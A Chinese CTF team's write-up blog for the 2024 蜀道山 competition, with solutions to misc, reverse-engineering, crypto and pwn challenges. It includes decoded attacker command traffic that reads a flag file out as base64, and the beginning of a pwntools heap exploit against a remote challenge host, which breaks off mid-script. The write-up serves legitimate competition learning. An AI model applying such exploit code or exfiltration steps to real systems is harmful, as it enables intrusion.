LUO 一个兴趣使然的人与他兴趣使然的博客

[蜀道山高校公益联赛]WP -- F14GThi3f

⚠️ 本文最后更新于2024年11月18日,已经过了117天没有更新,若内容或图片失效,请留言反馈

队伍名称: F14GThi3f rank:5

Misc

欢迎来到2024蜀道山CTF

按照描述关注二维码发送劳资蜀道山2024即可

神奇的硬币纺纱机

nc之后经过一段时间尝试发现,选择投币一段时间就可以将硬币攒到100以上,之后不投币保持硬币数量即可

Elemental Wars

玩法大抵是和去年强网先锋的剪刀石头布差不多

但有个问题就是五行的生克关系比较复杂

而且血量都比较少

所以在1-5内随机瞎打就行

❯ nc gamebox.yunyansec.com 43139

  _____ _                           _        _  __        __
 | ____| | ___ _ __ ___   ___ _ __ | |_ __ _| | \ \      / /_ _ _ __ ___
 |  _| | |/ _ \ '_ ` _ \ / _ \ '_ \| __/ _` | |  \ \ /\ / / _` | '__/ __|
 | |___| |  __/ | | | | |  __/ | | | || (_| | |   \ V  V / (_| | |  \__ \
 |_____|_|\___|_| |_| |_|\___|_| |_|\__\__,_|_|    \_/\_/ \__,_|_|  |___/


欢迎来到元素战争!
游戏即将开始...

请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:木
木生火,🤖恢复生命!
你的血量:10,敌人的血量:11
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1

你的选择是: 金
敌人的选择是:木
金克木,玩家获胜!
你的血量:10,敌人的血量:10
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1

你的选择是: 金
敌人的选择是:火
火克金,🤖获胜!
你的血量:9,敌人的血量:10
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:9,敌人的血量:9
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1

你的选择是: 金
敌人的选择是:火
火克金,🤖获胜!
你的血量:8,敌人的血量:9
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:7,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:7,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:土
火生土,玩家恢复生命!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:木
平局!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1

你的选择是: 金
敌人的选择是:金
平局!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:金
土生金,玩家恢复生命!
你的血量:9,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1

你的选择是: 金
敌人的选择是:土
土生金,🤖恢复生命!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:火
平局!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:金
火克金,玩家获胜!
你的血量:9,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:木
木生火,🤖恢复生命!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:水
水克火,🤖获胜!!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:木
平局!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1

你的选择是: 金
敌人的选择是:金
平局!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:金
金生水,🤖恢复生命!
你的血量:8,敌人的血量:9
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:7,敌人的血量:9
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:6,敌人的血量:9
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:6,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:5,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:5,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:水
平局!
你的血量:5,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:水
平局!
你的血量:5,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:木
水生木,玩家恢复生命!
你的血量:6,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:木
水生木,玩家恢复生命!
你的血量:7,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:金
金生水,🤖恢复生命!
你的血量:7,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1

你的选择是: 金
敌人的选择是:水
金生水,玩家恢复生命!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:火
木生火,玩家恢复生命!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:水
平局!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:火
平局!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1

你的选择是: 金
敌人的选择是:木
金克木,玩家获胜!
你的血量:9,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:9,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:金
土生金,玩家恢复生命!
你的血量:10,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:土
火生土,玩家恢复生命!
你的血量:11,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:金
金克木,🤖获胜!
你的血量:10,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:木
木生火,🤖恢复生命!
你的血量:10,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:木
木克土,🤖获胜!!
你的血量:9,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:金
金克木,🤖获胜!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1

你的选择是: 金
敌人的选择是:火
火克金,🤖获胜!
你的血量:7,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:金
金生水,🤖恢复生命!
你的血量:7,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:金
火克金,玩家获胜!
你的血量:7,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:木
水生木,玩家恢复生命!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:水
水生木,🤖恢复生命!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:金
火克金,玩家获胜!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:8,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:金
火克金,玩家获胜!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:火
火生土,🤖恢复生命!
你的血量:8,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:木
平局!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1

你的选择是: 金
敌人的选择是:火
火克金,🤖获胜!
你的血量:7,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:7,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:木
木生火,🤖恢复生命!
你的血量:7,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:金
土生金,玩家恢复生命!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:金
金生水,🤖恢复生命!
你的血量:8,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:7,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:土
火生土,玩家恢复生命!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:土
平局!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:水
平局!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:8,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:金
金生水,🤖恢复生命!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:金
火克金,玩家获胜!
你的血量:8,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:土
平局!
你的血量:8,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:火
木生火,玩家恢复生命!
你的血量:9,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:8,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:火
平局!
你的血量:8,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:木
木克土,🤖获胜!!
你的血量:7,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木3
敌人的选择是:土
木克土,玩家获胜!
你的血量:7,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):

你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:7,敌人的血量:2
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:火
火生土,🤖恢复生命!
你的血量:7,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:木
水生木,玩家恢复生命!
你的血量:8,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):54
无效的选择,请重新选择。
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:金
金克木,🤖获胜!
你的血量:7,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:6,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:土
火生土,玩家恢复生命!
你的血量:7,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:火
火生土,🤖恢复生命!
你的血量:7,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:7,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:7,敌人的血量:2
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:7,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:土
火生土,玩家恢复生命!
你的血量:8,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5

你的选择是: 土
敌人的选择是:土
平局!
你的血量:8,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:金
金克木,🤖获胜!
你的血量:7,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3

你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:6,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4

你的选择是: 火
敌人的选择是:火
平局!
你的血量:6,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2

你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:6,敌人的血量:0
你获得了胜利!敌人已被击败!
欢迎拿到flag:flag{78bb5494953b2e2b582ab49e14fa7dc4}

请输入选项(1: 继续游戏, 2: 查看规则, 3: 退出):

javaPcap

NetA梭出来一些命令执行流量

挨个解密其Base64部分

whoami
ls -alt
ls flag/
base64 flag/flag.zip
cat flag/hint.txt

WireShark再详细分析流量

可以看到有Base64的回显 但是无法解码出有意义的明文

可以在命令中看到key和加密方式的参数

但是这个key的位数明显不对

想到附件还给了个jar 找了个在线网站反编译

在一个class中找到了加密相关的代码

package server;

import java.nio.charset.StandardCharsets;
import java.security.Security;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
/* loaded from: CustomEncryptor.class */
public class CustomEncryptor {
    static {
        Security.addProvider(new BouncyCastleProvider());
    }

    public static String encryptSM4(String key, String content) {
        try {
            byte[] keyBytes = generateKeyBytes(key, 16);
            SecretKeySpec secretKey = new SecretKeySpec(keyBytes, "SM4");
            Cipher cipher = Cipher.getInstance("SM4/ECB/PKCS5Padding", "BC");
            cipher.init(1, secretKey);
            byte[] encryptedBytes = cipher.doFinal(content.getBytes(StandardCharsets.UTF_8));
            return Base64.getEncoder().encodeToString(encryptedBytes);
        } catch (Exception e) {
            throw new RuntimeException("Encryption error: " + e.getMessage(), e);
        }
    }

    private static byte[] generateKeyBytes(String key, int length) {
        byte[] keyBytes = new byte[length];
        byte[] inputKeyBytes = key.getBytes(StandardCharsets.UTF_8);
        System.arraycopy(inputKeyBytes, 0, keyBytes, 0, Math.min(inputKeyBytes.length, length));
        return keyBytes;
    }

    public static String encryptAES(String key, String content) {
        return encrypt(content, key, "AES", 16);
    }

    public static String encryptBlowfish(String key, String content) {
        return encrypt(content, key, "Blowfish", 16);
    }

    private static String encrypt(String content, String key, String algorithm, int keySize) {
        try {
            byte[] keyBytes = new byte[keySize];
            byte[] inputKeyBytes = key.getBytes(StandardCharsets.UTF_8);
            System.arraycopy(inputKeyBytes, 0, keyBytes, 0, Math.min(inputKeyBytes.length, keySize));
            SecretKeySpec secretKey = new SecretKeySpec(keyBytes, algorithm);
            Cipher cipher = Cipher.getInstance(algorithm + "/ECB/PKCS5Padding");
            cipher.init(1, secretKey);
            byte[] encryptedBytes = cipher.doFinal(content.getBytes(StandardCharsets.UTF_8));
            return Base64.getEncoder().encodeToString(encryptedBytes);
        } catch (Exception e) {
            throw new RuntimeException("Encryption error: " + e.getMessage(), e);
        }
    }
}

可以看到其中有将key参数内容转为实际加密所用密钥的函数

private static byte[] generateKeyBytes(String key, int length) {
    byte[] keyBytes = new byte[length];
    byte[] inputKeyBytes = key.getBytes(StandardCharsets.UTF_8);
    System.arraycopy(inputKeyBytes, 0, keyBytes, 0, Math.min(inputKeyBytes.length, length));
    return keyBytes;
}

找GPT用python重构

def generate_key_bytes(key: str, length: int) -> bytes:
    # 将输入的密钥转换为 UTF-8 编码的字节
    input_key_bytes = key.encode('utf-8')
    # 根据指定长度创建一个字节数组,填充方式与 Java 版本相同
    key_bytes = bytearray(length)
    key_bytes[:len(input_key_bytes)] = input_key_bytes[:length]
    return bytes(key_bytes)

key = "596d467a5a54593049475a73595763765a6d78685a793536615841"
length = 16
key_bytes = generate_key_bytes(key, length)
print(key_bytes)  # 输出生成的字节数组

用流量包中的key计算密钥并解密

得到 flag.zip 和 hint.txt

Hint.txtflag.zip

:::info
flag.zip(Base64):

UEsDBBQACQAIABSGZFkAAAAAAAAAACsAAAAIACkAZmxhZy50eHRVVAkABWiKKGeQGitndXgLAAEEAAAAAAQAAAAAeGwJAAcUAwAAAADtgXBFs0Lb8F43+KxCxq77A+Zya0CyhPRERubzgNwf5fF5GVjtntPQZe8hy0s4qLAhBXW42FAs5Xhw4lBLBwiHHE6JOQAAACsAAABQSwECFAMUAAkACAAUhmRZhxxOiTkAAAArAAAACAAcAAAAAAAAAAAA7YEAAAAAZmxhZy50eHRVVAkABWiKKGeQGitndXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEAUgAAAJgAAAAAAA==

:::

根据hint.txt拼出压缩包密码:

:::info
wllbcwllbcwllbc

:::

解压flag.zip得到flag

:::info
flag: LZSDS{java_also_can_chaozuoPCAPNG_LUCKFORU}

:::

Re

HelloHarmony

鸿蒙逆向

主逻辑

第一层加密在p001entry.src.main.ets.Emmm,凯撒加密,只不过位移的时候小写字母多进行了+2的操作

第二层加密在native层

密文在eeeee

#include <stdio.h>
#include <string.h>

typedef struct {
    unsigned char map[256]; // 映射表
    unsigned int keys[72];  // Key 数据
} WTF;

void inverse_blablabla(unsigned char *a2) {
    unsigned char last = a2[39];
    for (int i = 39; i > 0; --i) {
        a2[i] = a2[i - 1];
    }
    a2[0] = last;
}

void inverse_blablablablabla(WTF *wtf, unsigned char *a2, int a3) {
    *((unsigned int *)a2 + 1) ^= wtf->keys[a3 + 64];
    *((unsigned int *)a2) ^= wtf->keys[a3 + 64];
}

void inverse_bla(WTF *wtf, unsigned char *a2) {
    for (int i = 0; i < 40; ++i) {
        for (int j = 0; j < 256; ++j) {
            if (wtf->map[j] == a2[i]) {
                a2[i] = j;
                break;
            }
        }
    }
}

void WTF_init(WTF *wtf, const unsigned char *key, int key_len) {
    for (int i = 0; i < 256; ++i) {
        wtf->map[i] = (167 * i + 173) % 256;
    }
    for (int i = 0; i < 8; ++i) {
        wtf->keys[i + 64] = key[(i + 3) % key_len] |
                            (key[(i + 2) % key_len] << 8) |
                            (key[(i + 1) % key_len] << 16) |
                            (key[i % key_len] << 24);
    }
}

void decrypt(WTF *wtf, const unsigned char *ciphertext, unsigned char *plaintext) {
    memcpy(plaintext, ciphertext, 40); 
    for (int i = 7; i >= 0; --i) {    
        inverse_blablabla(plaintext);
        inverse_bla(wtf, plaintext); 
        inverse_blablablablabla(wtf, plaintext, i); 
    }
}

int main() {
    const char *key_str = "HelloSDS";
    int key_len = strlen(key_str);

    WTF wtf;
    WTF_init(&wtf, (const unsigned char *)key_str, key_len);

    unsigned char ciphertext[40] = {
        0xF6, 0xB0, 0xA6, 0x36, 0x9A, 0xB3, 0x2B, 0xBF, 0x94, 0x54, 0x15, 0x97, 0x93, 0x59, 0xBF, 0x50,
        0x4D, 0xBF, 0x0A, 0x59, 0x06, 0xD7, 0x97, 0x50, 0xD6, 0x59, 0x54, 0xD7, 0xCF, 0x06, 0x5D, 0x20,
        0x1D, 0x5A, 0x22, 0xEE, 0x99, 0x1F, 0xE1, 0x18
    };

    unsigned char plaintext[40];
    decrypt(&wtf, ciphertext, plaintext);

    for (int i = 0; i < 40; ++i) {
        printf("%c", plaintext[i]);
    }
    printf("\n");

    return 0;
}

//QEXIX{f0b_4y3_4_t4573y_0m_jyfw706y4wof}

然后走变种凯撒的解密,小写字母多-2就行了

public class test {
    private final int shift;
    public test(int shift) {
        this.shift = shift % 26;
    }
    public String decrypt(String input) {
        return transform(input, -this.shift, false);
    }

    private String transform(String text, int shift, boolean isEncrypt) {
        StringBuilder result = new StringBuilder();

        for (char ch : text.toCharArray()) {
            if (Character.isUpperCase(ch)) {
                result.append(shiftChar(ch, shift, 'A'));
            } else if (Character.isLowerCase(ch)) {
                int adjustedShift = isEncrypt ? shift + 2 : shift - 2;
                result.append(shiftChar(ch, adjustedShift, 'a'));
            } else {
                result.append(ch);
            }
        }
        return result.toString();
    }

    private char shiftChar(char ch, int shift, char base) {
        return (char) (((ch - base + shift + 26) % 26) + base);
    }

    public static void main(String[] args) {
        test caesar = new test(5);
        String decrypted = caesar.decrypt("QEXIX{f0b_4y3_4_t4573y_0m_jyfw706y4wof}");
        System.out.println(decrypted);
    }
}
//LZSDS{y0u_4r3_4_m4573r_0f_cryp706r4phy}

Super Panda Girl

Unity游戏逆向

直接把super panda girl\Super Panda Girl_Data\Managed\Assembly-CSharp.dll拖dnspy

ce先试了一下能搜到LZSDS{

然后就进dnspy去定位,结果没搜到。看一下附近内存

flag头上面有个Gameover,然后去dnspy搜一下

上面就是验证逻辑

ssSSs5s5s5

魔改rc4,密文和密钥都直接给了

import java.nio.charset.StandardCharsets;

public class Decryptor {

    private static final String S5SSS5S5 = "LZSDS";
    public static void main(String[] args) {
        byte[] encryptedBytes = new byte[]{
            57, (byte) 244, 117, (byte) 200, (byte) 213, 87, (byte) 194, (byte) 195, (byte) 164, 100, 103, 63, 19, 79,
            (byte) 137, 70, (byte) 201, 24, (byte) 163, (byte) 129, (byte) 237, (byte) 210, 5, 19, 35, 21
        };

        String decryptedText = decrypt(encryptedBytes, S5SSS5S5);
        System.out.println(decryptedText);
    }

    public static String decrypt(byte[] encryptedBytes, String key) {
        int keyLength = key.length();
        int dataLength = encryptedBytes.length;
        byte[] keyBytes = key.getBytes(StandardCharsets.UTF_8);

        byte[] array = new byte[256];
        for (int i = 0; i < 256; i++) {
            array[i] = (byte) i;
        }

        int num = 0;
        for (int j = 0; j < 256; j++) {
            num = (num + (array[j] & 0xFF) + (keyBytes[j % keyLength] & 0xFF)) % 256;
            byte temp = array[j];
            array[j] = array[num];
            array[num] = temp;
        }

        int num2 = 0;
        int num3 = 0;
        byte[] decryptedBytes = new byte[dataLength];

        for (int k = 0; k < dataLength; k++) {
            num2 = (num2 + 1) % 256;
            num3 = (num3 + (array[num2] & 0xFF)) % 256;

            byte temp = array[num2];
            array[num2] = array[num3];
            array[num3] = temp;

            byte b3 = (byte) ((array[num2] + array[num3]) % 256);
            decryptedBytes[k] = (byte) (encryptedBytes[k] ^ b3);
        }

        return new String(decryptedBytes, StandardCharsets.UTF_8);
    }
}
//put_this_in_the_true_brand

然后在外面还有一个取text的偶数位拼起来取base64

import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class Flag {

    public static void main(String[] args) {
        String text = "put_this_in_the_true_brand";
        String evenCharacters = getEvenCharacters(text);
        String encoded = base64Encode(evenCharacters);

        String flag = "LZSDS{" + encoded + "}";
        System.out.println(flag);
    }

    private static String getEvenCharacters(String input) {
        StringBuilder stringBuilder = new StringBuilder();
        for (int i = 0; i < input.length(); i += 2) {
            stringBuilder.append(input.charAt(i));
        }
        return stringBuilder.toString();
    }

    private static String base64Encode(String text) {
        return Base64.getEncoder().encodeToString(text.getBytes(StandardCharsets.UTF_8));
    }
}
//LZSDS{cHR0aV9udGV0dV9ybg==}

Map_maze

迷宫题

U D L R分别对应上下左右

断到如下图位置

然后进v5,把地图dump下来

import idc
import idaapi
import idautils

def dereference_pointer_and_get_value(address):
    pointer_value = idc.get_wide_dword(address)
    if not idc.is_loaded(pointer_value):
        return None
    return idc.get_wide_dword(pointer_value)

def dump_array_with_dereference(start_address, rows, cols, output_file):
    result = []
    current_address = start_address

    for row in range(rows):
        line = []
        for col in range(cols):
            dereferenced_value = dereference_pointer_and_get_value(current_address)
            if dereferenced_value is None:
                line.append("Invalid")
            else:
                line.append(hex(dereferenced_value))
            current_address += 4 
        result.append(line)

    with open(output_file, "w") as f:
        for line in result:
            f.write(" ".join(line) + "\n")

    print(f"Dumped {output_file}")

start_address = 0x005FFA30
rows = 15
cols = 15
output_file = "array_dump.txt"

dump_array_with_dereference(start_address, rows, cols, output_file)

走0到右下角

试了好几种路径才交上

DRRDDDDDDDRRRRDDRRRDRRRDDDRR

LZSDS{1979869e0c4ef6c542e54ae5c48f63ec}

Potato Toolkit

随便输入下

ida搜报错字符串能跟到这个函数

1wesa234

qwe123998244353

试着分别输入到http语言指令和炸洋芋参数里面

有进度条了,只不过拉满之后直接闪退了

动调断在exit(0) 这个位置

然后进v18

0x8的位置按d,指针转出来可以直接看见flag

Crypto

xorsa

恢复p,q很简单,试了一下e与phi不互素,拿板子打

from Crypto.Util.number import *
c = 13760578729891127041098229431259961120216468948795732373975536417751222443069805775693845560005881981622202089883866395577154701229046245882282127054969114210307175116574178428823043817041956207503299220721042136515863979655578210499512044917781566303947681251248645504273995402630701480590505840473412765662
n = 14247038211821385209759067256846232227444163173099199085257790370590450749665206556163364754269182255358084948354345827898987234756662133974633117062902370811855466665351784027125333112663075085395676501121759786699720149098576433141817737564928779420725539793335830274229206316999461309927000523188222801659
hint1 = 8938538619961731399716016665470564084986243880394928918482374295814509353382364651201249532111268951793354572124324033902502588541297713297622432670722730
hint2 = 1493298155243474837320092849325750387759519643879388609208314494000605554020636706320849032906759121914762492378489852575583260177546578935320977613050647
e = 2026
q = hint2
p = hint1^q

e = e //2
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
from gmpy2 import *
m = gmpy2.iroot(m,2)[0]
print(long_to_bytes(m))

PWN

small stmashing

exp:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '80'])
# p = process('./pwn')
p  = remote('gamebox.yunyansec.com', 57785)
libc = ELF('./libc-2.31.so')

def add(size):
    p.recvuntil('Your choice:')
    p.send(b'1'.ljust(0x10, b'\x00'))
    p.recvuntil('size:\n')
    p.send(bytes(str(size), 'utf-8').ljust(0x10, b'\x00'))
    p.recvuntil('Add Ptr: ')
def delete(index):
    p.recvuntil('Your choice:')
    p.send(b'2'.ljust(0x10, b'\x00'))
    p.recvuntil('Idx:\n')
    p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
def edit(index, content):
    p.recvuntil('Your choice:')
    p.send(b'3'.ljust(0x10, b'\x00'))
    p.recvuntil('Idx:\n')
    p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
    p.recvuntil('Content:\n')
    p.send(content)
def show(index):
    p.recvuntil('Your choice:')
    p.send(b'4'.ljust(0x10, b'\x00'))
    p.recvuntil('Idx:\n')
